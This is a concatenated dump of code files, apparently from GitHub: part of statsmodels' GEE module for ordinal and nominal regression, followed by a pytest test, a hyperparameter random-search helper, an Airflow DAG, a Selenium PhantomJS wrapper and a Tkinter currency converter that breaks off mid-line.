exog_out[jrow, :] = exog_row\n endog_out[jrow] = int(np.squeeze(endog_value > thresh))\n intercepts[jrow, thresh_ix] = 1\n groups_out[jrow] = group_value\n time_out[jrow] = time_value\n offset_out[jrow] = offset_value\n jrow += 1\n\n exog_out = np.concatenate((intercepts, exog_out), axis=1)\n\n # exog column names, including intercepts\n xnames = [\"I(y>%.1f)\" % v for v in endog_cuts]\n if type(self.exog_orig) is pd.DataFrame:\n xnames.extend(self.exog_orig.columns)\n else:\n xnames.extend([\"x%d\" % k for k in range(1, exog.shape[1] + 1)])\n exog_out = pd.DataFrame(exog_out, columns=xnames)\n\n # Preserve the endog name if there is one\n if type(self.endog_orig) is pd.Series:\n endog_out = pd.Series(endog_out, name=self.endog_orig.name)\n\n return endog_out, exog_out, groups_out, time_out, offset_out\n\n def _starting_params(self):\n exposure = getattr(self, \"exposure\", None)\n model = GEE(self.endog, self.exog, self.groups,\n time=self.time, family=families.Binomial(),\n offset=self.offset, exposure=exposure)\n result = model.fit()\n return result.params\n\n @Appender(_gee_fit_doc)\n def fit(self, maxiter=60, ctol=1e-6, start_params=None,\n params_niter=1, first_dep_update=0,\n cov_type='robust'):\n\n rslt = super(OrdinalGEE, self).fit(maxiter, ctol, start_params,\n params_niter, first_dep_update,\n cov_type=cov_type)\n\n rslt = rslt._results # use unwrapped instance\n res_kwds = dict(((k, getattr(rslt, k)) for k in rslt._props))\n # Convert the GEEResults to an OrdinalGEEResults\n ord_rslt = OrdinalGEEResults(self, rslt.params,\n rslt.cov_params() / rslt.scale,\n rslt.scale,\n cov_type=cov_type,\n attr_kwds=res_kwds)\n # for k in rslt._props:\n # setattr(ord_rslt, k, getattr(rslt, k))\n # TODO: document or delete\n\n return OrdinalGEEResultsWrapper(ord_rslt)\n\n\nclass OrdinalGEEResults(GEEResults):\n\n __doc__ = (\n \"This class summarizes the fit of a marginal regression model\"\n \"for an ordinal response using GEE.\\n\"\n + _gee_results_doc)\n\n def plot_distribution(self, ax=None, exog_values=None):\n \"\"\"\n Plot the fitted probabilities of endog in an ordinal model,\n for specified values of the predictors.\n\n Parameters\n ----------\n ax : AxesSubplot\n An axes on which to draw the graph. If None, new\n figure and axes objects are created\n exog_values : array_like\n A list of dictionaries, with each dictionary mapping\n variable names to values at which the variable is held\n fixed. The values P(endog=y | exog) are plotted for all\n possible values of y, at the given exog value. Variables\n not included in a dictionary are held fixed at the mean\n value.\n\n Example:\n --------\n We have a model with covariates 'age' and 'sex', and wish to\n plot the probabilities P(endog=y | exog) for males (sex=0) and\n for females (sex=1), as separate paths on the plot. Since\n 'age' is not included below in the map, it is held fixed at\n its mean value.\n\n >>> ev = [{\"sex\": 1}, {\"sex\": 0}]\n >>> rslt.distribution_plot(exog_values=ev)\n \"\"\"\n\n from statsmodels.graphics import utils as gutils\n\n if ax is None:\n fig, ax = gutils.create_mpl_ax(ax)\n else:\n fig = ax.get_figure()\n\n # If no covariate patterns are specified, create one with all\n # variables set to their mean values.\n if exog_values is None:\n exog_values = [{}, ]\n\n exog_means = self.model.exog.mean(0)\n ix_icept = [i for i, x in enumerate(self.model.exog_names) if\n x.startswith(\"I(\")]\n\n for ev in exog_values:\n\n for k in ev.keys():\n if k not in self.model.exog_names:\n raise ValueError(\"%s is not a variable in the model\"\n % k)\n\n # Get the fitted probability for each level, at the given\n # covariate values.\n pr = []\n for j in ix_icept:\n\n xp = np.zeros_like(self.params)\n xp[j] = 1.\n for i, vn in enumerate(self.model.exog_names):\n if i in ix_icept:\n continue\n # User-specified value\n if vn in ev:\n xp[i] = ev[vn]\n # Mean value\n else:\n xp[i] = exog_means[i]\n\n p = 1 / (1 + np.exp(-np.dot(xp, self.params)))\n pr.append(p)\n\n pr.insert(0, 1)\n pr.append(0)\n pr = np.asarray(pr)\n prd = -np.diff(pr)\n\n ax.plot(self.model.endog_values, prd, 'o-')\n\n ax.set_xlabel(\"Response value\")\n ax.set_ylabel(\"Probability\")\n ax.set_ylim(0, 1)\n\n return fig\n\n\ndef _score_test_submodel(par, sub):\n \"\"\"\n Return transformation matrices for design matrices.\n\n Parameters\n ----------\n par : instance\n The parent model\n sub : instance\n The sub-model\n\n Returns\n -------\n qm : array_like\n Matrix mapping the design matrix of the parent to the design matrix\n for the sub-model.\n qc : array_like\n Matrix mapping the design matrix of the parent to the orthogonal\n complement of the columnspace of the submodel in the columnspace\n of the parent.\n\n Notes\n -----\n Returns None, None if the provided submodel is not actually a submodel.\n \"\"\"\n\n x1 = par.exog\n x2 = sub.exog\n\n u, s, vt = np.linalg.svd(x1, 0)\n v = vt.T\n\n # Get the orthogonal complement of col(x2) in col(x1).\n a, _ = np.linalg.qr(x2)\n a = u - np.dot(a, np.dot(a.T, u))\n x2c, sb, _ = np.linalg.svd(a, 0)\n x2c = x2c[:, sb > 1e-12]\n\n # x1 * qm = x2\n ii = np.flatnonzero(np.abs(s) > 1e-12)\n qm = np.dot(v[:, ii], np.dot(u[:, ii].T, x2) / s[ii, None])\n\n e = np.max(np.abs(x2 - np.dot(x1, qm)))\n if e > 1e-8:\n return None, None\n\n # x1 * qc = x2c\n qc = np.dot(v[:, ii], np.dot(u[:, ii].T, x2c) / s[ii, None])\n\n return qm, qc\n\n\nclass OrdinalGEEResultsWrapper(GEEResultsWrapper):\n pass\nwrap.populate_wrapper(OrdinalGEEResultsWrapper, OrdinalGEEResults) # noqa:E305\n\n\nclass NominalGEE(GEE):\n\n __doc__ = (\n \" Nominal Response Marginal Regression Model using GEE.\\n\" +\n _gee_init_doc % {'extra_params': base._missing_param_doc,\n 'family_doc': _gee_nominal_family_doc,\n 'example': _gee_nominal_example,\n 'notes': _gee_nointercept})\n\n def __init__(self, endog, exog, groups, time=None, family=None,\n cov_struct=None, missing='none', offset=None,\n dep_data=None, constraint=None, **kwargs):\n\n endog, exog, groups, time, offset = self.setup_nominal(\n endog, exog, groups, time, offset)\n\n if family is None:\n family = _Multinomial(self.ncut + 1)\n\n if cov_struct is None:\n cov_struct = cov_structs.NominalIndependence()\n\n super(NominalGEE, self).__init__(\n endog, exog, groups, time, family, cov_struct, missing,\n offset, dep_data, constraint)\n\n def _starting_params(self):\n exposure = getattr(self, \"exposure\", None)\n model = GEE(self.endog, self.exog, self.groups,\n time=self.time, family=families.Binomial(),\n offset=self.offset, exposure=exposure)\n result = model.fit()\n return result.params\n\n def setup_nominal(self, endog, exog, groups, time, offset):\n \"\"\"\n Restructure nominal data as binary indicators so that they can\n be analyzed using Generalized Estimating Equations.\n \"\"\"\n\n self.endog_orig = endog.copy()\n self.exog_orig = exog.copy()\n self.groups_orig = groups.copy()\n if offset is not None:\n self.offset_orig = offset.copy()\n else:\n self.offset_orig = None\n offset = np.zeros(len(endog))\n if time is not None:\n self.time_orig = time.copy()\n else:\n self.time_orig = None\n time = np.zeros((len(endog), 1))\n\n exog = np.asarray(exog)\n endog = np.asarray(endog)\n groups = np.asarray(groups)\n time = np.asarray(time)\n offset = np.asarray(offset)\n\n # The unique outcomes, except the greatest one.\n self.endog_values = np.unique(endog)\n endog_cuts = self.endog_values[0:-1]\n ncut = len(endog_cuts)\n self.ncut = ncut\n\n nrows = len(endog_cuts) * exog.shape[0]\n ncols = len(endog_cuts) * exog.shape[1]\n exog_out = np.zeros((nrows, ncols), dtype=np.float64)\n endog_out = np.zeros(nrows, dtype=np.float64)\n groups_out = np.zeros(nrows, dtype=np.float64)\n time_out = np.zeros((nrows, time.shape[1]),\n dtype=np.float64)\n offset_out = np.zeros(nrows, dtype=np.float64)\n\n jrow = 0\n zipper = zip(exog, endog, groups, time, offset)\n for (exog_row, endog_value, group_value, time_value,\n offset_value) in zipper:\n\n # Loop over thresholds for the indicators\n for thresh_ix, thresh in enumerate(endog_cuts):\n\n u = np.zeros(len(endog_cuts), dtype=np.float64)\n u[thresh_ix] = 1\n exog_out[jrow, :] = np.kron(u, exog_row)\n endog_out[jrow] = (int(endog_value == thresh))\n groups_out[jrow] = group_value\n time_out[jrow] = time_value\n offset_out[jrow] = offset_value\n jrow += 1\n\n # exog names\n if isinstance(self.exog_orig, pd.DataFrame):\n xnames_in = self.exog_orig.columns\n else:\n xnames_in = [\"x%d\" % k for k in range(1, exog.shape[1] + 1)]\n xnames = []\n for tr in endog_cuts:\n xnames.extend([\"%s[%.1f]\" % (v, tr) for v in xnames_in])\n exog_out = pd.DataFrame(exog_out, columns=xnames)\n exog_out = pd.DataFrame(exog_out, columns=xnames)\n\n # Preserve endog name if there is one\n if isinstance(self.endog_orig, pd.Series):\n endog_out = pd.Series(endog_out, name=self.endog_orig.name)\n\n return endog_out, exog_out, groups_out, time_out, offset_out\n\n def mean_deriv(self, exog, lin_pred):\n \"\"\"\n Derivative of the expected endog with respect to the parameters.\n\n Parameters\n ----------\n exog : array_like\n The exogeneous data at which the derivative is computed,\n number of rows must be a multiple of `ncut`.\n lin_pred : array_like\n The values of the linear predictor, length must be multiple\n of `ncut`.\n\n Returns\n -------\n The derivative of the expected endog with respect to the\n parameters.\n \"\"\"\n\n expval = np.exp(lin_pred)\n\n # Reshape so that each row contains all the indicators\n # corresponding to one multinomial observation.\n expval_m = np.reshape(expval, (len(expval) // self.ncut,\n self.ncut))\n\n # The normalizing constant for the multinomial probabilities.\n denom = 1 + expval_m.sum(1)\n denom = np.kron(denom, np.ones(self.ncut, dtype=np.float64))\n\n # The multinomial probabilities\n mprob = expval / denom\n\n # First term of the derivative: denom * expval' / denom^2 =\n # expval' / denom.\n dmat = mprob[:, None] * exog\n\n # Second term of the derivative: -expval * denom' / denom^2\n ddenom = expval[:, None] * exog\n dmat -= mprob[:, None] * ddenom / denom[:, None]\n\n return dmat\n\n def mean_deriv_exog(self, exog, params, offset_exposure=None):\n \"\"\"\n Derivative of the expected endog with respect to exog for the\n multinomial model, used in analyzing marginal effects.\n\n Parameters\n ----------\n exog : array_like\n The exogeneous data at which the derivative is computed,\n number of rows must be a multiple of `ncut`.\n lpr : array_like\n The linear predictor values, length must be multiple of\n `ncut`.\n\n Returns\n -------\n The value of the derivative of the expected endog with respect\n to exog.\n\n Notes\n -----\n offset_exposure must be set at None for the multinomial family.\n \"\"\"\n\n if offset_exposure is not None:\n warnings.warn(\"Offset/exposure ignored for the multinomial family\",\n ValueWarning)\n\n lpr = np.dot(exog, params)\n expval = np.exp(lpr)\n\n expval_m = np.reshape(expval, (len(expval) // self.ncut,\n self.ncut))\n\n denom = 1 + expval_m.sum(1)\n denom = np.kron(denom, np.ones(self.ncut, dtype=np.float64))\n\n bmat0 = np.outer(np.ones(exog.shape[0]), params)\n\n # Masking matrix\n qmat = []\n for j in range(self.ncut):\n ee = np.zeros(self.ncut, dtype=np.float64)\n ee[j] = 1\n qmat.append(np.kron(ee, np.ones(len(params) // self.ncut)))\n qmat = np.array(qmat)\n qmat = np.kron(np.ones((exog.shape[0] // self.ncut, 1)), qmat)\n bmat = bmat0 * qmat\n\n dmat = expval[:, None] * bmat / denom[:, None]\n\n expval_mb = np.kron(expval_m, np.ones((self.ncut, 1)))\n expval_mb = np.kron(expval_mb, np.ones((1, self.ncut)))\n\n dmat -= expval[:, None] * (bmat * expval_mb) / denom[:, None] ** 2\n\n return dmat\n\n @Appender(_gee_fit_doc)\n def fit(self, maxiter=60, ctol=1e-6, start_params=None,\n params_niter=1, first_dep_update=0,\n cov_type='robust'):\n\n rslt = super(NominalGEE, self).fit(maxiter, ctol, start_params,\n params_niter, first_dep_update,\n cov_type=cov_type)\n if rslt is None:\n warnings.warn(\"GEE updates did not converge\",\n ConvergenceWarning)\n return None\n\n rslt = rslt._results # use unwrapped instance\n res_kwds = dict(((k, getattr(rslt, k)) for k in rslt._props))\n # Convert the GEEResults to a NominalGEEResults\n nom_rslt = NominalGEEResults(self, rslt.params,\n rslt.cov_params() / rslt.scale,\n rslt.scale,\n cov_type=cov_type,\n attr_kwds=res_kwds)\n # TODO: document or delete\n # for k in rslt._props:\n # setattr(nom_rslt, k, getattr(rslt, k))\n\n return NominalGEEResultsWrapper(nom_rslt)\n\n\nclass NominalGEEResults(GEEResults):\n\n __doc__ = (\n \"This class summarizes the fit of a marginal regression model\"\n \"for a nominal response using GEE.\\n\"\n + _gee_results_doc)\n\n def plot_distribution(self, ax=None, exog_values=None):\n \"\"\"\n Plot the fitted probabilities of endog in an nominal model,\n for specified values of the predictors.\n\n Parameters\n ----------\n ax : AxesSubplot\n An axes on which to draw the graph. If None, new\n figure and axes objects are created\n exog_values : array_like\n A list of dictionaries, with each dictionary mapping\n variable names to values at which the variable is held\n fixed. The values P(endog=y | exog) are plotted for all\n possible values of y, at the given exog value. Variables\n not included in a dictionary are held fixed at the mean\n value.\n\n Example:\n --------\n We have a model with covariates 'age' and 'sex', and wish to\n plot the probabilities P(endog=y | exog) for males (sex=0) and\n for females (sex=1), as separate paths on the plot. Since\n 'age' is not included below in the map, it is held fixed at\n its mean value.\n\n >>> ex = [{\"sex\": 1}, {\"sex\": 0}]\n >>> rslt.distribution_plot(exog_values=ex)\n \"\"\"\n\n from statsmodels.graphics import utils as gutils\n\n if ax is None:\n fig, ax = gutils.create_mpl_ax(ax)\n else:\n fig = ax.get_figure()\n\n # If no covariate patterns are specified, create one with all\n # variables set to their mean values.\n if exog_values is None:\n exog_values = [{}, ]\n\n link = self.model.family.link.inverse\n ncut = self.model.family.ncut\n\n k = int(self.model.exog.shape[1] / ncut)\n exog_means = self.model.exog.mean(0)[0:k]\n exog_names = self.model.exog_names[0:k]\n exog_names = [x.split(\"[\")[0] for x in exog_names]\n\n params = np.reshape(self.params,\n (ncut, len(self.params) // ncut))\n\n for ev in exog_values:\n\n exog = exog_means.copy()\n\n for k in ev.keys():\n if k not in exog_names:\n raise ValueError(\"%s is not a variable in the model\"\n % k)\n\n ii = exog_names.index(k)\n exog[ii] = ev[k]\n\n lpr = np.dot(params, exog)\n pr = link(lpr)\n pr = np.r_[pr, 1 - pr.sum()]\n\n ax.plot(self.model.endog_values, pr, 'o-')\n\n ax.set_xlabel(\"Response value\")\n ax.set_ylabel(\"Probability\")\n ax.set_xticks(self.model.endog_values)\n ax.set_xticklabels(self.model.endog_values)\n ax.set_ylim(0, 1)\n\n return fig\n\n\nclass NominalGEEResultsWrapper(GEEResultsWrapper):\n pass\nwrap.populate_wrapper(NominalGEEResultsWrapper, NominalGEEResults) # noqa:E305\n\n\nclass _MultinomialLogit(Link):\n \"\"\"\n The multinomial logit transform, only for use with GEE.\n\n Notes\n -----\n The data are assumed coded as binary indicators, where each\n observed multinomial value y is coded as I(y == S[0]), ..., I(y ==\n S[-1]), where S is the set of possible response labels, excluding\n the largest one. Thererefore functions in this class should only\n be called using vector argument whose length is a multiple of |S|\n = ncut, which is an argument to be provided when initializing the\n class.\n\n call and derivative use a private method _clean to trim p by 1e-10\n so that p is in (0, 1)\n \"\"\"\n\n def __init__(self, ncut):\n self.ncut = ncut\n\n def inverse(self, lpr):\n \"\"\"\n Inverse of the multinomial logit transform, which gives the\n expected values of the data as a function of the linear\n predictors.\n\n Parameters\n ----------\n lpr : array_like (length must be divisible by `ncut`)\n The linear predictors\n\n Returns\n -------\n prob : ndarray\n Probabilities, or expected values\n \"\"\"\n\n expval = np.exp(lpr)\n\n denom = 1 + np.reshape(expval, (len(expval) // self.ncut,\n self.ncut)).sum(1)\n denom = np.kron(denom, np.ones(self.ncut, dtype=np.float64))\n\n prob = expval / denom\n\n return prob\n\n\nclass _Multinomial(families.Family):\n \"\"\"\n Pseudo-link function for fitting nominal multinomial models with\n GEE. Not for use outside the GEE class.\n \"\"\"\n\n links = [_MultinomialLogit, ]\n variance = varfuncs.binary\n safe_links = [_MultinomialLogit, ]\n\n def __init__(self, nlevels, check_link=True):\n \"\"\"\n Parameters\n ----------\n nlevels : int\n The number of distinct categories for the multinomial\n distribution.\n \"\"\"\n self._check_link = check_link\n self.initialize(nlevels)\n\n def initialize(self, nlevels):\n self.ncut = nlevels - 1\n self.link = _MultinomialLogit(self.ncut)\n\n\nclass GEEMargins:\n \"\"\"\n Estimated marginal effects for a regression model fit with GEE.\n\n Parameters\n ----------\n results : GEEResults instance\n The results instance of a fitted discrete choice model\n args : tuple\n Args are passed to `get_margeff`. This is the same as\n results.get_margeff. See there for more information.\n kwargs : dict\n Keyword args are passed to `get_margeff`. This is the same as\n results.get_margeff. See there for more information.\n \"\"\"\n\n def __init__(self, results, args, kwargs={}):\n self._cache = {}\n self.results = results\n self.get_margeff(*args, **kwargs)\n\n def _reset(self):\n self._cache = {}\n\n @cache_readonly\n def tvalues(self):\n _check_at_is_all(self.margeff_options)\n return self.margeff / self.margeff_se\n\n def summary_frame(self, alpha=.05):\n \"\"\"\n Returns a DataFrame summarizing the marginal effects.\n\n Parameters\n ----------\n alpha : float\n Number between 0 and 1. The confidence intervals have the\n probability 1-alpha.\n\n Returns\n -------\n frame : DataFrames\n A DataFrame summarizing the marginal effects.\n \"\"\"\n _check_at_is_all(self.margeff_options)\n from pandas import DataFrame\n names = [_transform_names[self.margeff_options['method']],\n 'Std. Err.', 'z', 'Pr(>|z|)',\n 'Conf. Int. Low', 'Cont. Int. Hi.']\n ind = self.results.model.exog.var(0) != 0 # True if not a constant\n exog_names = self.results.model.exog_names\n var_names = [name for i, name in enumerate(exog_names) if ind[i]]\n table = np.column_stack((self.margeff, self.margeff_se, self.tvalues,\n self.pvalues, self.conf_int(alpha)))\n return DataFrame(table, columns=names, index=var_names)\n\n @cache_readonly\n def pvalues(self):\n _check_at_is_all(self.margeff_options)\n return stats.norm.sf(np.abs(self.tvalues)) * 2\n\n def conf_int(self, alpha=.05):\n \"\"\"\n Returns the confidence intervals of the marginal effects\n\n Parameters\n ----------\n alpha : float\n Number between 0 and 1. The confidence intervals have the\n probability 1-alpha.\n\n Returns\n -------\n conf_int : ndarray\n An array with lower, upper confidence intervals for the marginal\n effects.\n \"\"\"\n _check_at_is_all(self.margeff_options)\n me_se = self.margeff_se\n q = stats.norm.ppf(1 - alpha / 2)\n lower = self.margeff - q * me_se\n upper = self.margeff + q * me_se\n return np.asarray(lzip(lower, upper))\n\n def summary(self, alpha=.05):\n \"\"\"\n Returns a summary table for marginal effects\n\n Parameters\n ----------\n alpha : float\n Number between 0 and 1. The confidence intervals have the\n probability 1-alpha.\n\n Returns\n -------\n Summary : SummaryTable\n A SummaryTable instance\n \"\"\"\n _check_at_is_all(self.margeff_options)\n results = self.results\n model = results.model\n title = model.__class__.__name__ + \" Marginal Effects\"\n method = self.margeff_options['method']\n top_left = [('Dep. Variable:', [model.endog_names]),\n ('Method:', [method]),\n ('At:', [self.margeff_options['at']]), ]\n\n from statsmodels.iolib.summary import (Summary, summary_params,\n table_extend)\n exog_names = model.exog_names[:] # copy\n smry = Summary()\n\n const_idx = model.data.const_idx\n if const_idx is not None:\n exog_names.pop(const_idx)\n\n J = int(getattr(model, \"J\", 1))\n if J > 1:\n yname, yname_list = results._get_endog_name(model.endog_names,\n None, all=True)\n else:\n yname = model.endog_names\n yname_list = [yname]\n\n smry.add_table_2cols(self, gleft=top_left, gright=[],\n yname=yname, xname=exog_names, title=title)\n\n # NOTE: add_table_params is not general enough yet for margeff\n # could use a refactor with getattr instead of hard-coded params\n # tvalues etc.\n table = []\n conf_int = self.conf_int(alpha)\n margeff = self.margeff\n margeff_se = self.margeff_se\n tvalues = self.tvalues\n pvalues = self.pvalues\n if J > 1:\n for eq in range(J):\n restup = (results, margeff[:, eq], margeff_se[:, eq],\n tvalues[:, eq], pvalues[:, eq], conf_int[:, :, eq])\n tble = summary_params(restup, yname=yname_list[eq],\n xname=exog_names, alpha=alpha,\n use_t=False,\n skip_header=True)\n tble.title = yname_list[eq]\n # overwrite coef with method name\n header = ['', _transform_names[method], 'std err', 'z',\n 'P>|z|',\n '[%3.1f%% Conf. Int.]' % (100 - alpha * 100)]\n tble.insert_header_row(0, header)\n # from IPython.core.debugger import Pdb; Pdb().set_trace()\n table.append(tble)\n\n table = table_extend(table, keep_headers=True)\n else:\n restup = (results, margeff, margeff_se, tvalues, pvalues, conf_int)\n table = summary_params(restup, yname=yname, xname=exog_names,\n alpha=alpha, use_t=False, skip_header=True)\n header = ['', _transform_names[method], 'std err', 'z',\n 'P>|z|', '[%3.1f%% Conf. Int.]' % (100 - alpha * 100)]\n table.insert_header_row(0, header)\n\n smry.tables.append(table)\n return smry\n\n def get_margeff(self, at='overall', method='dydx', atexog=None,\n dummy=False, count=False):\n\n self._reset() # always reset the cache when this is called\n # TODO: if at is not all or overall, we can also put atexog values\n # in summary table head\n method = method.lower()\n at = at.lower()\n _check_margeff_args(at, method)\n self.margeff_options = dict(method=method, at=at)\n results = self.results\n model = results.model\n params = results.params\n exog = model.exog.copy() # copy because values are changed\n effects_idx = exog.var(0) != 0\n const_idx = model.data.const_idx\n\n if dummy:\n _check_discrete_args(at, method)\n dummy_idx, dummy = _get_dummy_index(exog, const_idx)\n else:\n dummy_idx = None\n\n if count:\n _check_discrete_args(at, method)\n count_idx, count = _get_count_index(exog, const_idx)\n else:\n count_idx = None\n\n # get the exogenous variables\n exog = _get_margeff_exog(exog, at, atexog, effects_idx)\n\n # get base marginal effects, handled by sub-classes\n effects = model._derivative_exog(params, exog, method,\n dummy_idx, count_idx)\n effects = _effects_at(effects, at)\n\n if at == 'all':\n self.margeff = effects[:, effects_idx]\n else:\n # Set standard error of the marginal effects by Delta method.\n margeff_cov, margeff_se = margeff_cov_with_se(\n model, params, exog, results.cov_params(), at,\n model._derivative_exog, dummy_idx, count_idx,\n method, 1)\n\n # do not care about at constant\n self.margeff_cov = margeff_cov[effects_idx][:, effects_idx]\n self.margeff_se = margeff_se[effects_idx]\n self.margeff = effects[effects_idx]\n","repo_name":"statsmodels/statsmodels","sub_path":"statsmodels/genmod/generalized_estimating_equations.py","file_name":"generalized_estimating_equations.py","file_ext":"py","file_size_in_byte":116206,"program_lang":"python","lang":"en","doc_type":"code","stars":9039,"dataset":"github-code","pt":"91"}
+{"seq_id":"20897259302","text":"import pytest\nfrom hamcrest import assert_that, equal_to\n\nfrom nodestream.pipeline import IterableExtractor, Pipeline, PipelineProgressReporter\n\n\n@pytest.mark.asyncio\nasync def test_pipeline_progress_reporter_calls_with_reporting_frequency(mocker):\n pipeline = Pipeline([IterableExtractor(range(100))], 10)\n reporter = PipelineProgressReporter(reporting_frequency=10, callback=mocker.Mock())\n await pipeline.run(reporter)\n assert_that(reporter.callback.call_count, equal_to(10))\n\n\n@pytest.mark.asyncio\nasync def test_pipeline_progress_reporter_for_testing(mocker):\n result = PipelineProgressReporter.for_testing([])\n assert_that(result.reporting_frequency, equal_to(1))\n assert_that(result.logger.name, equal_to(\"test\"))\n","repo_name":"nodestream-proj/nodestream","sub_path":"tests/unit/pipeline/test_pipeline_progress_reporter.py","file_name":"test_pipeline_progress_reporter.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"91"}
+{"seq_id":"71708623664","text":"import os\nimport json\nfrom typing import Dict\nfrom pprint import pprint\n\nimport numpy as np\nimport pandas as pd\n\nfrom configs.tabnet import config\n\n\nclass SearchOption:\n def __init__(self, opt, type_):\n type_ = type_.lower()\n assert pd.api.types.is_list_like(opt)\n assert type_ in [\"choice\", \"range\"]\n self._opt = np.array(opt)\n self._type = type_\n if self._type == \"range\":\n assert len(self._opt) == 2\n assert self._opt[0] < self._opt[1]\n\n @property\n def opt(self):\n return self._opt\n\n @property\n def type(self):\n return self._type\n\n\nclass RandomParams:\n def __init__(self):\n self._range_dict = {}\n self._counter = 0\n\n def __call__(self, conf, make_d_a_same=True):\n for k, search_range in self._range_dict.items():\n if k in ['name', 'seed', 'device', 'data_dir', 'log_dir', 'bkup_dir', 'sub_dir']:\n continue\n\n # check unknown keys\n if not hasattr(conf, k):\n raise AttributeError(f\"type {type(conf)} does not have attribute {k}.\")\n\n if search_range.type == \"choice\":\n new_value = np.random.choice(search_range.opt)\n elif search_range.type == \"range\":\n min_, max_ = search_range.opt\n new_value = np.random.random() # 0 ~ 1\n new_value = new_value * (max_ - min_) + min_\n else:\n raise NotImplementedError\n\n if isinstance(new_value, np.integer):\n new_value = int(new_value)\n\n # inplace\n setattr(conf, k, new_value)\n\n if make_d_a_same:\n # n_a <- n_d\n setattr(conf, 'n_a', getattr(conf, 'n_d'))\n\n self.save_config(conf)\n self._counter += 1\n\n def save_config(self, conf: config):\n d = {k: getattr(conf, k) for k in dir(conf) if not k.startswith('__')}\n filename = f\"selected_params_{self._counter:02d}.json\"\n save_path = os.path.join(conf.log_dir, filename)\n with open(save_path, 'w') as fp:\n json.dump(d, fp)\n # check\n with open(save_path, 'r') as fp:\n pprint(json.load(fp))\n\n def set(self, param_name, opt, type_):\n self._range_dict[param_name] = SearchOption(opt, type_)\n\n\nif __name__ == \"__main__\":\n rp = RandomParams()\n rp.set(\"n_d\", [8, 16, 32], 'choice')\n\n c = config()\n for _ in range(3):\n rp(c)\n","repo_name":"Pseudo-Lab/20_MoA","sub_path":"tabnet/configs/random_search.py","file_name":"random_search.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"}
+{"seq_id":"41144294809","text":"from airflow.operators.dummy_operator import DummyOperator\nfrom datetime import timedelta\n\nfrom config.v1.table_definitions import tables_test\nimport slack.msg as slack\nfrom utils import utils\n\n\n# set up DAG\ndag_name = \"dag_ETL_template\"\ndag_args = {}\nschedule_interval = \"@once\"\nconcurrency = 4\nmax_active_runs = 1\n\n# extract the information from the config.py file\nconn_id_extract = \"conn_test_source\"\nconn_id_transform = \"conn_test_transform\"\nconn_id_load = \"conn_test_load\"\nl_tables = tables_test\ndb_version = \"v1\"\n\n\n# DAG OBJECT\ndag = utils.dag_constructor(dag_name, dag_args, catchup=False,\n schedule_interval=schedule_interval, max_active_runs=max_active_runs,\n concurrency=concurrency)\n\n\n# Create a dummy operation just to know when every task is completed\ncompleted = DummyOperator(task_id=\"complete\",\n dag=dag,\n on_success_callback=slack.slack_succeeded_task)\n\n\nd_op_el = utils.get_python_operators_el(dag, conn_id_extract, conn_id_load, l_tables, db_version)\n\ncompleted.set_upstream(d_op_el.values())\n","repo_name":"watxaut/airflow-test","sub_path":"dags_test/dag_ETL_template.py","file_name":"dag_ETL_template.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"13745932050","text":"from sys import platform\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\n\nclass Browser:\n def __enter__(self):\n dcap = dict(DesiredCapabilities.PHANTOMJS)\n dcap[\"phantomjs.page.settings.userAgent\"] = (\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/53 \"\n \"(KHTML, like Gecko) Chrome/15.0.87\"\n )\n sarg = [\"--load-images=false\"]\n self.browser = webdriver.PhantomJS(executable_path=self.browser_platform(),\n desired_capabilities=dcap,\n service_args=sarg)\n self.browser.implicitly_wait(15)\n self.browser.set_window_size(1920, 1080)\n return self.browser\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.browser.quit()\n\n @staticmethod\n def browser_platform():\n if platform.startswith('win32'):\n return 'browsers\\windows\\phantomjs.exe'\n elif platform.startswith('linux'):\n return 'phantomjs'\n elif platform.startswith('darwin'):\n return 'browsers/osx/phantomjs'\n","repo_name":"mostaszewski/SleepWell","sub_path":"browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"28575428605","text":"from scraper import trade_spider\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\n\ndef convert_to():\n options = trade_spider()\n flag = 0\n initial_currency = variable1.get()\n final_currency = variable2.get()\n if initial_currency == 'None':\n messagebox.showerror(\"Error input 1\", \"You did not choose the currency type !!!\")\n flag = 1\n if final_currency == 'None':\n messagebox.showerror(\"Error input 2\", \"You did not choose the currency type !!!\")\n flag = 1\n try: \n input_price = float(input_value.get('1.0',END))\n except:\n messagebox.showerror(\"Error input 3\", \"This number does not exist (use . no ,) !!!\")\n flag = 1\n if flag == 0:\n final_price = input_price * options[initial_currency]\n final_price = final_price / options[final_currency]\n output_value.delete('1.0', END)\n output_value.insert(END, str(final_price)) \n\n\nconverter = Tk()\nconverter.title(\"Unit Converter\")\nconverter.geometry(\"800x400\")\nconverter.config(bg=\"#f1e4d3\")\noptions = trade_spider()\nappName = Label(converter,text=\"Currency Converter\",font = (\"Comic Sans MS\", 30, \"bold\"),fg=\"#5b7771\", bg=\"#f1e4d3\")\nappName.place(x=215, y=10)\n\nvariable1 = StringVar(converter)\nvariable1.set(None)\n\ninput_options = OptionMenu(converter,variable1,*options)\ninput_options.place(x= 100 , y=150,width=300, height=50)\ninput_options.config(bg = \"#5b7771\",fg = \"#402e20\",font=(\"Comic Sans MS\",15,\"bold\"), activebackground = \"#bfb48d\" )\n\ninput_value = Text(converter,height=1,width=15,font=(\"arial\",20,\"bold\"),bd=5)\ninput_value.config(bg = \"#5b7771\", fg = \"#402e20\")\ninput_value.place(x=130, y=250)\n\nvariable2 = StringVar(converter)\nvariable2.set(None)\n\noutput_options = OptionMenu(converter,variable2,*options)\noutput_options.place(x= 400 , y=150,width=300, height=50)\noutput_options.config(bg = \"#5b7771\",fg = \"#402e20\",font=(\"Comic Sans MS\",15,\"bold\"), activebackground = \"#bfb48d\" )\n\noutput_value = Text(converter,height=1,width=15,font=(\"arial\",20,\"bold\"),bd=5)\noutput_value.config(bg = \"#5b7771\", fg = \"#402e20\")\noutput_value.place(x = 425, y = 250)\n\nconvert_button = Button(converter, text = \"convert\", bd = 